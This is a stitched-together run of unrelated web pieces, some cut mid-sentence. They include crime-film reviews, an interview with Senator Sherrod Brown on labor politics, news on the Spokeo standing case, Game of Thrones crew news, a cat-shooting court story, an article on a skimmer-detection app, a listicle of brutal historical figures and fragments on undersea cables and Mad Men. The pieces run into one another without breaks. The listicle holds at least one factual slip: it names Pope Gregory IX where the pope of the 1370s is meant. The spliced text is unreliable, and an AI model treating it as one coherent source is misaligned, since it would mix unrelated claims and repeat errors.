me-toos, and so of course is the only one aside from “Get Shorty” to have thus far spawned a sequel. A million thumbs down, no stars, [F]
“Intermission” (2003)
Irish crime drama in the 1990s was dominated by John Boorman‘s excellent, Cannes-lauded “The General,” but the knock-on effect of “Pulp Fiction” finally arrived in 2003 with “Intermission,” an unexpectedly charming multi-character, multi-stranded affair (also riffing on “Magnolia” as much as anything else). Penned by playwright Mark O’Rowe, and helmed by theater director John Crowley, making his feature debut, it follows the aftermath of the break-up between long-term couple Cillian Murphy and Kelly Macdonald, and of a fairly spectacular double-decker bus crash, events that somehow combine as Murphy teams with thuggish criminal Colin Farrell and disgruntled bus driver Brian F. O’Byrne to kidnap Macdonald’s new beau, a married bank manager, while various other characters—including Colm Meaney’s delusional copper, and Shirley Henderson’s insecure, mustached loner—circle them. Nothing here is especially groundbreaking, bar perhaps Henderson’s storyline, but from its arresting opening, there’s a real verve and energy to proceedings that doesn’t preclude the film from slowing down and entering more contemplative modes. O’Rowe’s writing is warm and witty, and Crowley juggles tone impressively, going from charming rom-com to grittier drama in a space of a few scenes without it feeling incongruous. The performances are strong, too: Farrell’s having a blast, and Murphy and Macdonald in particular lend texture to performances that could have felt a little bland otherwise. Crowley and O’Rowe would reteam again to much greater effect a few years later for “Boy A,” which introduced Andrew Garfield to the screen, but this is a pretty decent little movie on its own. [B]
“Reindeer Games” (2000)
John Frankenheimer had a long and storied career that spanned over 40 years, full of dizzying highs (“The Manchurian Candidate,” “The Train,” “Seconds”), some crashing lows (“The Island Of Doctor Moreau,” “Prophecy”), and plenty in between. But it’s a shame, having revived his career with 1998’s gripping “Ronin,” that his final film was one as generic and anemic as “Reindeer Games” (Frankenheimer was to have directed “Exorcist: The Beginning,” but became ill and died in 2002, a month after pulling out of the production). Penned by future “Transformers” writer Ehren Kruger, it sees ex-convict Ben Affleck released from jail and hooking up with Ashley (Charlize Theron), a young woman who’d been corresponding with his late cellmate. They fall for each other, but Ashley’s psychotic brother (Gary Sinise) turns up and forces Affleck to aid in a casino robbery, thinking that he had inside knowledge of the place. In theory, it’s not a bad set-up, but Kruger’s script piles ludicrous twist upon ludicrous twist, not so much stretching credibility as tearing it apart, and while there’s some welcome color to be found in the supporting cast (which includes Dennis Farina, Danny Trejo, Clarence Williams III and Donal Logue—who replaced Vin Diesel at the last minute, the only time in history that that will ever happen), Affleck, Sinise and even the usually reliable Theron make for pretty terrible leads. Frankenheimer’s sense of suspense eludes him too: the action sequences seem to be taking their cue from “Die Hard 2” rather than his vintage ’60s work, and the whole film looks kind of cheap. Barely a year later, the film was already a punchline when Affleck played himself in “Jay & Silent Bob Strikes Back,” and in a way, it’s lucky to be even remembered as that. [D-]
“Phoenix” (1998)
A film no one remembers from a director everyone forgets, “Phoenix” feels a little like what might result if you pasted together alternate lines from the “Pulp Fiction” and “Reservoir Dogs” screenplays, then Google translated the whole into Mandarin and back. And then got Danny Cannon (“Judge Dredd,” “I Still Know What You Did Last Summer”) to direct. Well, maybe we’re being harsh on Cannon, who seems to have found his level helming TV procedurals (25 episodes of “CSI,” etc.) because this was a poorly conceived knock-off from the get-go, the type of would-be amoral thriller in which people are given lisps instead of character details, and the hero quotes Dostoevsky because it sounds cool. Ray Liotta, Anthony LaPaglia, Jeremy Piven and Daniel Baldwin are four corrupt cops in yes, Phoenix, (whose presumably full-time jobs seem to encroach very little on their extra-curricular activities) held together by unexplained bonds of brotherhood despite the fact that the LaPaglia character is clearly a sociopath. Liotta, the decent one, is a hyper-superstitious gambler, Piven plays a cuckolded husband and Baldwin, much, we fear like his position within his famous clan, plays The Other One. Having no such thing as a coherent character to cling to, the derivative plot spins its wheels, and potentially promising elements, like Angelica Huston and Brittany Murphy, fall by the wayside in favor of more macho posturing, hardboiled cussin’ and casually sexist exchanges between the lead quartet and their sketched-in adversaries. “ |
warning about the loss of good jobs and the decline of labor unions in his home state of Ohio and elsewhere in the country. First elected to the House of Representatives in 1992, Brown has distinguished himself as perhaps the most class-conscious Democrat in Washington. For years, he has worn a canary pin on his lapel to honor the workers’ rights movement that “gave us all food-safety laws, civil rights, rights for the disabled, pensions, and the minimum wage.”
In 2006, Brown won a seat in the U.S. Senate and was reelected in 2012, both times by healthy margins. However, Ohio, traditionally a swing state, swung hard to the Republicans last year, and Brown begins his 2018 campaign essentially tied in the polls.
This spring, the senator issued a lengthy document, “Working Too Hard for Too Little: A Plan for Restoring the Value of Work in America,” which lays out a set of innovative ideas about how to raise wages, make jobs more secure, and compel employers to adhere to decent standards on the job. In late April, Michael Kazin interviewed the senator in his office on Capitol Hill.
Michael Kazin: Why did Hillary Clinton do so badly in Ohio last year? Trump won by 8 percent and took eighty out of eighty-eight counties. This was a state that Obama won twice.
Sherrod Brown: I wish I fully understood it. In a couple of urban counties—Franklin [where Columbus is located] and Hamilton [whose seat is Cincinnati]—Hillary actually did better than Obama did in 2008. Franklin, with the big state university and the state government, has become a more liberal county, particularly on social issues, over the years.
Anyway, why did we lose Ohio? I just think people had seen wage stagnation, and they wanted somebody to blame. Hillary was the establishment and Trump made big promises about coal jobs and steel jobs and auto jobs. But the situation in two industrial counties—Mahoning and Trumbull—was more complicated. In my races for Senate, I won both counties by well over 60 percent. Hillary won Mahoning, but she lost Trumbull by a little more than she won Mahoning by. The voters in both places are mostly white and blue collar. A lot are union members but a lot are non-union too.
I don’t buy that a lot of Obama voters voted for Trump. I also don’t buy that a lot of union voters, more than the normal number, voted for Trump. It was the non-union workers who made the difference. And a big part of that is where they’re getting their information. We’re not talking to them loudly enough, we’re not full-throated enough in defending working-class voters. There’s a view in Ohio that people on the coasts look down on them. And this is curious because Republicans are as elitist as many people see Democrats, if not more so. And Donald Trump—I mean, my God—is he not elitist by any measurement? But he talked like he wasn’t.
Kazin: The cultural factor does seem critical. At least nationally, the image of Democrats, too often, is that it’s a party of well-off, college-educated people who live in big cities. I’m afraid Hillary played into this with her Wall Street speeches.
Brown: Yes, and on the coasts. I think that’s what we fight against. I think that narrative is deeper and broader than many people thought before the 2016 elections. I also think it’s a narrative in part created by Fox News. This sounds a bit whiny, but there is clearly a partisan media on the right. There’s Fox and there’s the Wall Street Journal editorial page, which hates deficits when it’s a Democratic president and says we’ll grow out of them now. They are party cheerleaders and enforcers of discipline. Talk radio too. We don’t really have any of that. Now, the New York Times editorial page is liberal, but it is not a Democratic organ.
Kazin: Why do most Democrats have a hard time countering the right-wing media?
Brown: I think we’re not full-throated enough in our defense of economic policy and demonstrating the value of work. Our paper addresses this. If white working-class people think we look down on them and we use terms like the “Rust Belt,” which demeans their work and diminishes them in some ways, that’s a problem. You counteract that, in part by empathizing, saying that we value work. That means you fight for minimum wage, you fight for the overtime rule, you fight against misclassification of jobs. And you advocate for a carrot-and-stick approach to employers: if they do the right thing for their workers, they get a lower tax rate. But if they do the wrong thing, they get a tax assessment because taxpayers are paying for their employees’ housing vouchers, Medicaid, wages through the earned income tax credit, and even food stamps, in some cases. Why are taxpayers subsidizing corporations? But we don’t want to talk that way. It’s not exactly class warfare. It is talking with passion and emphasis and emotion about their lives.
I learned about politics as the son of a family physician in Mansfield, Ohio, who never made a ton of money because he made house calls that he didn’t charge for. I had the privileges of a white person in a small town with a successful father in terms of income and decency.
After I went to the state legislature, I used to spend maybe a Friday or two a month at the steelworkers’ hall. We’d be out of session on Friday and I’d go there and hang out for three or four hours and just talk to workers. Before they went on their shifts, a lot of them stopped at the hall. They would come to see their labor committee men or their shop steward or whatever. I heard them talk about their hopes and dreams and what the union movement meant. Abe Lincoln used to talk about his “public-opinion baths”—going out and hearing things you might not have heard otherwise. And Pope Francis admonished parish priests in his first months in the papacy. He said, “Be shepherds with the smell of the sheep,” with all the Biblical connotations of that. So I don’t think we do enough of that, and I probably don’t either. We’ve got to be more full throated in our defense of these issues and our defense of people who are getting screwed by the system; they think they are and they are.
Kazin: Your plan sounds great, but what’s the strategy to get it implemented? As you know, private-sector unions aren’t getting any stronger, and now with a conservative majority of the Supreme Court again, who knows what’s going to happen with public-sector unions? So if we become, in effect, a “right-to-work” country how do you push forward?
Brown: Well, you’re a historian, and you know that rarely does a good idea take shape in two or even five years. I mean, look at how long it took for things to happen in 1934, ’35, and ’36 with labor law reform and Social Security. Look how long it took to pass Medicare; FDR wanted to do it but it didn’t happen for two decades after he died.
Kazin: And Harry Truman wanted single-payer.
Brown: Yes, he wanted single-payer as part of the Social Security Act, which is pretty interesting. Finally Medicare happened with Lyndon Johnson, and then broader healthcare didn’t happen until Obama. The ideas in my plan have been around and they’re going to be around. I just want to raise their visibility and enhance the public discussion about them. That’s what this paper is; it’s not a blueprint. No one called me the next day and said, “Sign me on, man. To the barricades!”
But I’m optimistic. Ideologically, people don’t like “big government,” but practically, it’s a much more progressive country. They may not like big government, but they like Medicare. They may not like government regulation, but they like the protection of safe drinking water.
That’s another thing we Democrats don’t do. We don’t talk about the positive role of government in people’s lives. One of Trump’s worst appointments—there’s eight of them tied for that title—but one that I think was particularly troubling was Tom Price as head of Health and Human Services. In the past, Price called for raising the Medicare eligibility age to sixty-seven. Tell me that any of the people in Trumbull County and Mahoning County voted for Trump because they want him to raise the Medicare age or want him to abandon the cleanup of Lake Erie, as Trump’s proposed budget would do.
Kazin: Republicans are pushing pretty much the same agenda conservatives have since they opposed the New Deal. It hasn’t changed much.
Brown: Yes, and we don’t want to point that out. We don’t want to talk about how most Republicans oppose Medicare. We don’t do the contrast well: “We’re here and they’re here, that’s why we’re on your side.” Maybe it’s partly because some Democrats shy away from populism because Marine Le Pen and Donald Trump and Steve Bannon get called “populists.” But populism is not about pushing people away. It’s embracing and inclusive.
For example, my argument about trade was quite different in the 1990s from that of Pat Buchanan, who got called a “populist.” He was where we were on NAFTA but for entirely different reasons. You never heard David Bonior [former Democratic representative from Michigan] pit American workers against Mexican workers as Buchanan did then and Trump does now. You never heard us talking negatively about foreigners or immigrants. So partly the media and partly other Democrats let Buchanan get away with using the term “populism” to describe himself.
But true populism is looking out for the little guy no matter where she works and no matter who he is; we’ve let them steal that away. We went through a period where we let the right steal the flag and steal religion, at least Christianity. And we’re going to allow them to steal the term “populism”? I mean, right-wing “populism” is racism and misogyny.
Kazin: That brings up the question of immigration. Your long policy paper doesn’t mention immigration; it talks about jobs. Do you think immigration should be included there? I know you signed on to comprehensive immigration reform. But part of Trump’s popularity was due to people’s discomfort, whether for economic reasons or cultural reasons, with a lot of immigrants in the country. People cheered when he said, “Build the wall,” even if it’s no solution to anything.
Brown: Surprising, yes, that it was that vociferous.
Kazin: So how do Democrats and progressives generally talk about working people as a whole and not divide them by immigrant versus non-immigrant?
Brown: Use the same language as we use on everything. It’s inclusive, it doesn’t exclude people, it doesn’t push people down so you can be higher. I think immigration is no different.
I watch Fox about an hour a week. It’s so interesting how they present things. When we were on the bus campaigning for Hillary last fall, I said to Bill [Clinton], “Do you think Hillary has a chance in Arkansas?” and he said, “No.” He said, “I couldn’t win Arkansas.” I said, “Why’s that?” And he said, “Everywhere you go in Arkansas, whether you get your tire changed or go to the barbershop or go to a diner, Fox is on.” It’s just on everywhere and it’s really creative, the narrative. It seems like almost every time I watch [Fox], there’s a story of a heinous crime committed by an “illegal” immigrant. I don’t think they make it up, but you can find anything in a country of 320 million. There are all kinds of people doing all kinds of awful things—they just pick this one out. It does reinforce the message that immigrants are the ones hurting people and not people that look like “us.”
Kazin: If you go back to the late 1960s and early 1970s, “law and order” was a very successful slogan for Richard Nixon.
Brown: Trump during the election used the term “law and order” a few times. There were clearly more than a few allusions to Nixon.
Kazin: You say in your big policy paper that we need to change the way we think about the economy. So how do we do that, especially when the people who run most big corporations are quite happy with the way Republicans and even many Democrats think about the economy?
Brown: It will be a long-term education process, and we’re up against fake media, against Fox, and against talk radio, which makes it so hard. There absolutely are more of us that see the economy this way. But we have to reach them and get them to vote.
I’ve always believed the field is fertile for a progressive message. It’s fertile even in western Ohio, maybe the most conservative part of my state. There are sometimes environmental issues; many rural people fear that environmental laws cost jobs, or they are going to keep us from doing what we’re doing on our farms. But you can answer all those complaints. Part of it is, again, the language: use “environmental protection” instead of “environmental regulation.” Think how different that sounds to an undecided voter.
These are 20 percent or less of voters who are less engaged and maybe less knowledgeable. They don’t think of themselves as ideologically in the middle. They think of themselves as independent. The other 80 or 85 percent pay enough attention that they know who they’re going to vote for in most elections a year ahead of time.
Kazin: One of the things that’s happened since Trump was inaugurated is what people call “the resistance.” What do you think about the outside pressure on you and other Democrats to be absolutely firm against pretty much everything Trump wants to do? What do you think the relationship is between those who are pushing from the outside and what Democrat politicians like you are doing?
Brown: Progress always comes from people pushing through from the outside. I mean look at the great gains of the 1930s and the 1960s—whether it was pushing from the outside on labor law reform or on unemployment or workers’ comp or the minimum wage for economic security, or for civil rights and healthcare in the ’60s. I very much welcome that kind of pressure now.
But I’ve said publically that I would work with Trump on trade. I’ve made approaches to his people regularly on infrastructure spending. I get no pushback from progressives on that.
The only criticism I got was when I was part of a demonstration at the Columbus airport on the second week of Trump’s term to protest his travel ban. Somebody yelled out to me, “You sold us out on Ben Carson,” and they were clapping and people cheered for my wife [newspaper columnist Connie Schultz] because everyone loves my wife. I did end up being one of six Democrats to vote for Carson to run the Department of Housing and Urban Development.
In a nutshell, the reason is that I live in a neighborhood in Cleveland that had the most foreclosures of any zip code in America in 2007; I know the desolation in that part of the city. The great majority of homes in Cleveland were built before I was born in 1952. I asked the Cleveland Department of Public Health: “What percentage of those homes that are old in Cleveland have toxic levels of lead?” They said, “99.” They all do. So that’s what kids who grow up in low-income areas are facing. So I said to Carson privately and then in the committee, “Are you going to help me on lead?” Because he doesn’t understand housing, but he does understand lead because he’s a brain surgeon. I have no idea if he’ll follow through. But that’s how I answered the woman at the airport, and she was OK with that.
I don’t worry about my support among progressives. They’re saying, “Oppose Trump on everything.” because they see what he’s doing on the environment, they see what he’s doing on war, they see what he’s doing on immigration especially, they see what he’s doing on healthcare and how he’s putting Wall Street executives in his cabinet. They don’t think, “OK, maybe on trade or maybe infrastructure, we can do some things.”
But I’ve got to look, progressive or not, at what’s best for Ohio.
Sherrod Brown is the senior United States Senator from Ohio, in office since January 3, 2007. Brown is a member of the Democratic Party.
Michael Kazin is editor of Dissent.
Transcription by Danyoung Kim.Facebook president, founder, and CEO Mark Zuckerberg during an interview with Reuters at the University of Bogota on January 14. REUTERS/Jose Miguel Gomez The Supreme Court is hearing a strange-sounding but potentially far-reaching case Monday brought by a man who complained that the "people search" website Spokeo described him as better educated and wealthier than he actually was.
Thomas Robins filed a proposed class action in which he said Spokeo's incorrect listing hurt his job prospects and violated the Fair Credit Reporting Act, which requires consumer reporting agencies to ensure that information about people they report on as accurate.
A judge threw out the case because there was no evidence this actually hurt Robins. (As The New York Times noted, most of Spokeo's errors were actually favorable to Robins.)
Still, an appeals court revived the case. It ruled that Robins' complaints accusing Spokeo of violating a law were enough and that Robins didn't need to show "actual harm." Now, Spokeo will argue that the Supreme Court should throw the case out for good because Robins hasn't shown any "concrete harm."
The question the Supreme Court will consider Monday sounds arcane but could actually affect a lot of tech companies that handle people's personal information:
Whether Congress may confer Article III standing upon a plaintiff who suffers no concrete harm, and who therefore could not otherwise invoke the jurisdiction of a federal court, by authorizing a private right of action based on a bare violation of a federal statute.
If the Supreme Court says "yes" to this question, then consumers everywhere could sue internet companies over alleged violations of privacy and consumer data laws, as The Wall Street Journal noted after the high court agreed to take up the case in April. A "yes" answer would give consumers the right to file lawsuits over violations of federal law even if they couldn't show that, say, a violation of that law had cost them money.
"While the specific lawsuit concerns Spokeo, tech companies like Google, Facebook and Yahoo are keeping a close eye on the case," The Wall Street Journal's Jacob Gershman said. "A single violation of the federal consumer law can go up to $1,000, which could translate into a much bigger figure in a class action."There are few Game of Thrones directors with a repertoire as impressive as Miguel Sapochnik’s — he directed the low-key yet great “The Gift”, followed by the instant classics that were “Hardhome”, “Battle of the Bastards” and “The Winds of Winter”. He had great material to work with, of course, but that’s still an unbelievable track record. Well, it appears we’re in luck: a Game of Thrones cinematographer may have just revealed that, as so many us wished, Sapochnik is back for the eighth and final season.
In his Instagram account, cinematographer Fabian Wagner has shared a photo of himself, assistant Caroline Alderson, VFX supervisor Joe Bauer, VFX producer Steve Kullback and director Miguel Sapochnik during filming of the Battle of the Bastards. The photo isn’t new, but the text implies the same team has returned for the eighth season: “Back on Game of Thrones for prep of the final season and the team is back together.”
Back on Game of Thrones for prep of the final season and the team is back together. Good times even though winter is already here #gameofthrones #miguelsapochnik #carolinevalderson #joebauer #stevekullback #vfx #dop #setlife #battleofthebastards A post shared by Fabian Wagner (@fabianwagner78) on Sep 25, 2017 at 3:53am PDT
Wagner has worked as Sapochnik’s cinematographer for all his four Game of Thrones episodes, as well as those of Alik Sakharov. This may not be an official confirmation from HBO, but it’s as close as it gets otherwise. Let’s not get too excited in case this turns out to be a misunderstanding … but let’s get a little excited, at the very least, because Wagner’s comments appear to point to one conclusion: Miguel Sapochnik is back!Residents of Clark County WA grieved and worried earlier this year as cat after cat was shot dead or wounded in a months long drive-by shooting spree which stretched from March through June 5. Eventually, Mitchell S. Kangas, 16, Jaren M. Koistinen, 16, and Riley J. Munger, 17, were arrested after a resident reported to police that her 7-year-old cat, Nellie, was shot in the face at 7:30 p.m. on Northeast Third Avenue in Battle Ground. She saw the shooters and described their blue SUV, and police quickly spotted the vehicle, found two rifles and undreds of bullets, and made the arrests. Nellie was the second of the family’s cats to have been shot by the spree killers; another family pet, Lucy, had previously been found laying bloodied on the ground.
The three are thought to have shot over 100 cats, and admitted that they had shot at least 50. On September 14, the teens made a deal with prosecutors and pled guilty. They will receive fairly light sentences, by our estimation.
Koistenen and Kangas both pled guilty to one count of drive-by shooting and 12 counts of animal cruelty. They told the judge they took turns with driving and shooting the animals from the car. The prosecution is asking 2 years in juvenile detention for Kangas and Koistinen, and one month in juvenile detention for Munger. The defense wants 1 year for Kangas and Koistinen.
Kangas admitted on audio and video when questioned by police that he and Koistinen had shot up to 100 cats and 2 dogs and hurt or killed 50 of them. According to court documents, the shooters never got out of the car to check on the animals and Kangas said “Sometimes the cats would fall over and die, other times the cats would jump up and run away.” Kangas said the rifles belonged to his father, who was unaware of their use.
As though the acts were not sickening and hurtful enough, Kangas said that he considers the shootings sport hunting.
A second hearing today determined that entencing will be made at on October 4, after review of psychological documents and consultation with Juvenile Court staff. The two shooters are currently under house arrest and staying with their parents when not at school or work.
After today’s hearing, prosecutors said it had been a tough call whether to charge the teens – 16 and 17 at the time of the shootings – as juveniles rather than adults, and they were charged as juveniles. Clark county Deputy Prosecutor Kasey Vu defended the decision, saying “Throwing them into the adult prison system, chances are they probably wouldn’t get the psychological evaluation and therapy they obviously need.”Written by Patrick Howell O'Neill
Cheap, quick and effective, credit card skimmers plague ATMs and point-of-sale posts around the world, stealing credit card numbers while being almost impossible to spot with the naked eye.
That’s why Nate Seidle, CEO of the open source electronics firm SparkFun, developed a free, open-source skimmer detection app on Android that looks for the Bluetooth signals Seidle found on the skimmers he tested.
Seidle built the app after his local police department asked him to take apart three skimmers that were found nearby gas pumps to see if it was possible to alert the victims. That was accomplished, but the developers went a step further and put together Skimmer Scanner to look for skimmers broadcasting 10-15 feet over Bluetooth as HC-O5 with the password 1234.
Skimmers take seconds to install once an attacker acquires one of the physical master keys for a gas pump or ATM, opens up the machine, unplugs the credit card reader from the main controller, plugs the reader into the skimmer and then hooks that up to the controller.
“A skimmer is basically a man in the middle attack,” Seidle explained. “The skimmer listens for all the serial traffic from the credit card reader (clear text at 9600bps) records it to an external piece of memory (flash in this case) and then passes that same serial traffic onto the pump controller. When you use one of these modified pumps, the pump controller charges your card and you’re none the wiser, but your credit card details are stored in memory.”
Seidle’s in-depth blog post on skimmers is well-worth reading as he dives into and explores the tools in rare detail.
“Years ago it took someone with knowledge and skills to build a credit card skimmer,” he explained. “Now criminals are buying these off the shelf with very little knowledge and slapping them together. It’s basic user design theory: when your customer is not so smart make it idiot proof so they don’t contact you for support. The designers of this skimmer were smart, it’s better to make these devices easy to connect to than to add a layer of security. What’s the worst that could happen? The device is detected and removed from the pump. Meanwhile, 10 more have been deployed for a total cost of $100.”
The same concept is increasingly true around much of high-tech and cybercrime. The kind of acts that used to require serious expertise can now be bought easily and cheaply from an increasingly robust crime-as-a-service economy.
You can find the app in the Google Play store.There are always two sides to history. Unfortunately, history has generally been written by the victor. As a result, only one viewpoint is told and exaggerations are made, but occasionally the other angle gets out there. It is then up to the student to determine what is authentic and what is mere fabrication. History shows that the following people were 10 of the most barbaric men who ever lived. Whether the general consensus on them is true or not, that’s for you to decide. Nonetheless, the facts that are known reveal 10 men who are corrupt in nature and will do anything or kill anyone to get what they want and often for sheer enjoyment. They personify the word “bloodthirsty.” At times, sharing traits with the most savage of beasts, these men prove that humans aren’t so different from animals.
10 Lope de Aguirre
Aguirre stands out as one of the most ruthless of the Spanish conquistadors. He arrived in Peru in 1544 and in 1560 joined an expedition of several hundred men led by Pedro de Ursua in search of El Dorado. Aguirre eventually turned against Ursua’s leadership and would have Ursua executed. The man who took over, Fernando de Guzman, would also soon be put to death. Aguirre declared “I am the Wrath of God” and took over the mission. Those who remained on the mission who were against him were executed. As he sailed down the Amazon, Aguirre slaughtered those who he met along the way. In 1561 he showed himself in open rebellion against the Spanish crown by seizing Isla Margarita, off the coast of present day Venezuela, from Spanish settlers. He was surrounded and captured at Barquisimeto. With his execution approaching, Aguirre reportedly murdered his own daughter to ensure that no one but him could love her.
9 Fernando Álvarez de Toledo 3rd Duke of Alba
One of the foremost professional soldiers of his day, Alba was the commander in chief of Charles V army. Despite diminishing trust in Alba, Charles’ heir, Phillip II sent Alba as an emissary to France to hold negotiations with Catherine de Medici. With an anti-Protestant policy, it is believed that Alba helped lay the groundwork for the massacre of French Protestants on St. Bartholomew’s Day, 1572. In 1567, Alba was dispatched as governor of the Spanish Netherlands following the outbreak of popular unrest. Determined to restore order swiftly and in a fierce fashion, Alba, with 12,000 soldiers, set up a Council of Troubles soon to be dubbed the Council of Blood. This council declared thousands of people guilty of rebelling and either exiled, imprisoned or executed them. Every class of society was hit, noble birth was often not enough to protect some. After entering Brussels, 22 of the town’s leading citizens were beheaded. Dozens more massacres were to follow. Alba’s brutal reaction to the rebellion only fueled more insurrections against the Spanish crown.
8 Antipope Clement VII
Robert of Geneva was brilliant intellectually and was born to a family very close to the church. In 1368, aged just 26, Robert became an archbishop. Pope Gregory IX recognized his talents and promoted him to cardinal in 1371. Serving under the Pope in Italy from 1376 to 1378, Robert was in charge of suppressing the Papal States from revolting against the authority of Rome. Robert hired Sylvester Budes, leader of a band of Breton mercenaries and Sir John Hawkwood, an infamous English soldier of fortune. In 1377, Hawkwood and the Bretons, financed by the papacy, captured the city of Cesena. Hawkwood was willing to pardon the revolting townspeople in return for surrender, but Robert overruled him, ordering they be put to the sword. The mercenaries wreaked havoc on the streets. Those who hid in the Church of St. Stephen were killed and the church itself was vandalized. The convent was broken into and the nuns were raped. Over 4,000 people were slaughtered. In 1378, Bartolomeo Prignano was elected as Pope Urban VI. Unhappy with the choice, the cardinals reconsidered and eventually nullified Urban’s election and opted to elect Robert as Pope Clement VII. Supported by King Charles V of France, Clement established Avignon as his residence. France, Scotland and various German states recognized Clement as the Pope while Urban governed from Rome, supported by Spain and the Italian states. And so the Great Schism began. Because it is not possible for the cardinals to nullify a papal election, Clement VII was eventually recognized by all as an antipope.
7 Basil the Bulgar Slayer
Basil II was a powerful and effective Byzantine ruler. Best described as a “hero-monster”, he was successful on all fronts and was perennially engaged in warfare. Basil ruled for 50 years and brought the Byzantine Empire to new heights, expanding it’s borders to it’s greatest extent. He Swiftly destroyed all who challenged his rule. This included rebelling landowners, his uncle and Arab invaders. Eventually he would cross paths with his enemy Tsar Samuel of Bulgaria whose own empire was swallowing up Byzantine territory. Struggling with his campaign in the beginning, Basil began to have steady success against the Bulgars. Basil would finally win a massive victory at the Battle of Kleidon on July 29, 1014 as his forces took the capital. As punishment, Basil lined up the captive Bulgar soldiers and had them blinded. He left one eye untouched for every hundred men so that the troops could find their way home. Reportedly 15,000 Bulgars, terrorized, wounded and blinded pathetically shuffled away. Tsar Samuel fainted after seeing his soldiers return and died of a stroke. Thus Basil II earned his epithet ‘Bulgar Slayer’ through this monstrous act.
6 Talat Pasha
Pasha was the key architect of the Armenian genocide, one of the largest genocides in modern history. Over 1 million people were massacred in the span of 2 years. A member of the Young Turks, Talat rose up and became one of the three Pashas who ruled the Ottoman government in 1913 until the end of the disastrous First World War. Many Muslim Turks came to see the rise in nationalism of the Christian Armenians as a threat to the existence of the Ottoman state. Programs had already been installed against Armenians in previous years with possibly hundreds of thousands dying. 30,000 died in the Adana massacre of 1909. Once entering World War One, the Ottoman’s endeavor ended in total failure. Russian and Armenian forces set up an Armenian mini-state in 1915 and thus Talat Pasha sought to punish them. Security forces rounded up 250 Armenian intellectuals and leaders in Istanbul in 1915, and eventually executed them. After passing a Deportation Law, Pasha ordered deportations and executions to be carried out against the whole Armenian population. During the deportations, conditions were deplorable and men were routinely separated from the rest and executed. Many prisoners were tortured and were victims of gruesome medical experiments. More died of hunger and thirst. In some instances victims would be crucified in imitation of Jesus as the perpetrators would say: “Now let your Christ come help you!” Others would have red-hot irons and pincers applied to their flesh. Out of a population of 2.5 million Armenians, between 1 and 1.5 million perished in this period. After the Ottoman collapse, Talat Pasha fled to Berlin and was subsequently murdered there in 1921. His assassin was an Armenian genocide survivor.
5 Lothar von Trotha
Issuing one of the first historically documented orders for genocide, von Trotha who was the commander in chief of German South-West Africa had to put down a major rebellion, led by the Herero tribe. With an army of 10,000, von Trotha surrounded the Herero in a single location on three sides. The only escape for the Herero was to enter the Kalahari Desert. The Herero numbered about 50,000 with 6,000 warriors. They could not compete with the German forces who had modern rifles, machine guns and artillery. As the surviving Hereros escaped into the desert as planned, von Trotha ordered all the watering holes to be poisoned. Fences were erected along the desert boundary with guard posts to watch for any who tried to escape. Anyone caught would be shot on sight. Eventually von Trotha would issue an Extermination Order. Those who were not shot on sight would be put into labor camps and pushed into slavery. Thousands of Herero died from overwork, disease or starvation. Many of the women were sexually abused. Only 15,000 out of the initial 80,000 Herero population remained alive. Due to the supposed inferiority, some Herero were the subject of medical experiments. Later, there was a Nama uprising and some 10,000 died. Another 9,000 were put into concentration camps. On von Trotha’s watch, the Herero and Nama tribes had all been eradicated.
4 Tomás de Torquemada
A man of Jewish descent, Torquemada was the first inquisitor general in Spain. Torquemada convinced the government, led by Ferdinand and Isabella, that the presence of Jews, Muslims and recent false converts to Christianity in Spain represented a dangerous corruption of the true Catholic faith. Because of Torquemada, repressive laws were passed to force the expulsion of Spain’s non-Christian minorities. He received support from Pope Sixtus IV. Torquemada, now matching the authority of Ferdinand and Isabella themselves, oversaw the proclamation of the 28 articles listing the sins that the Inquisition aimed to purge. Identifying and exposing “Marranos” (Jews who had pretended to be Christian but continued to practice Judaism) was a main focus. Inquisitors were granted power to do whatever necessary to reveal the truth. This inevitably led to violent persecution. In February 1484 alone, 30 people in the city of Ciudad Real were found guilty of crimes and burnt alive. Between 1485 and 1501, 250 people were burnt in Toledo. In 1492, in Torquemada’s home town of Valladolid, 32 people were burnt. Declaring that Jews were a mortal threat, in 1492 Ferdinand and Isabella decreed that all Jews who had not converted to Christianity were to be expelled from Spain. About 40,000 left the country, many of them given sanctuary by the tolerant Islamic Ottomans in Istanbul and several other cities. Torquemada remained as inquisitor general believing that his work was not done. He became wealthy as well due to all that he had confiscated. He would eventually die in office after two decades of burning approximately two thousand people.
3 Godfrey of Bouillon
Godfrey, the duke of Lower Lorraine, led the first crusade and was a brutal religious fundamentalist. In 1095 pope Urban II called for crusaders to assist Byzantine emperor Alexius I against Turkish forces attacking Christian Byzantium and to liberate Jerusalem from the Muslims. In 1096, Godfrey gathered an army of about 40,000 and declared that he was determined to avenge the blood of Jesus on the Jewish people. Godfrey’s reputation grew as the years went on. In 1098, Godfrey reportedly killed 150 Turks with only 12 knights. Later that year, he cut a Turk in half with a single, downward swipe of his sword. Finally in 1099, Godfrey took aim at Jerusalem. On Friday July 15th, Godfrey was one of the first crusaders to breach the city’s defenses via siege tower. After opening the gates, the crusaders charged into the city. With Muslim citizens fleeing to the al-Aqsa Mosque, Iftikhar ad-Dawla, the Fatimid governor of Jerusalem, made his last stand. On condition of surrender, Iftikhar and some of his solders were allowed to escape. For the next two days, the crusaders pillaged Muslim holy sites and slaughtered everyone left in the city regardless of whether they were combatants or civilians, Muslim or Jew. Victims were either burned to death or had their stomachs cut open with the belief that Muslims swallowed their gold. The Jews fled to a synagogue which the crusaders would burn down. Reportedly piles of heads, hands and feet were scattered throughout the city. Godfrey walked barefoot through the blood, his feet colored to his ankles in the blood of men, women and children. His fellow crusaders chose him to become the first Christian ruler of Jerusalem. He would die of plague a year later, his mission complete.
2 Sawney Beane
Beane was the head of an incestuous clan who lived off robbery, murder and cannibalism. Some historians suggest that he never existed and say that his story was propaganda created by the English demonizing the Scottish |
8, and the success of the system led to a long line of TAT cables. All the TAT cables have been retired except for TAT-14, a fiber optic cable designed to carry 9.38 Tb/s that went into service in 2001. It’s worth noting that the US government lists TAT-14’s landing point in the Netherlands as a critical infrastructure target for terrorists.
Since the first transatlantic cables were laid, hundreds of others have joined them, crossing almost ever ocean and joining every continent except Antarctica. These cables tie the world together in a way the early pioneers couldn’t imagine, but which their successes and failures made possible.More bad news for Mad Men fans looking forward to season five of the Emmy-winning series: Negotiations between network AMC and show creator Matthew Weiner have fallen apart, according to reports from today, and the network announced that it's moving ahead with a fifth season anyway, though it's likely that it won't debut until 2012.
According to the reports, two points of contention are stalling the deals between the network and Weiner: AMC wants to shave several minutes off the air time of each episode in order to run more commercials, and, to help trim the budget, the network wants Weiner to cut two characters from the cast.
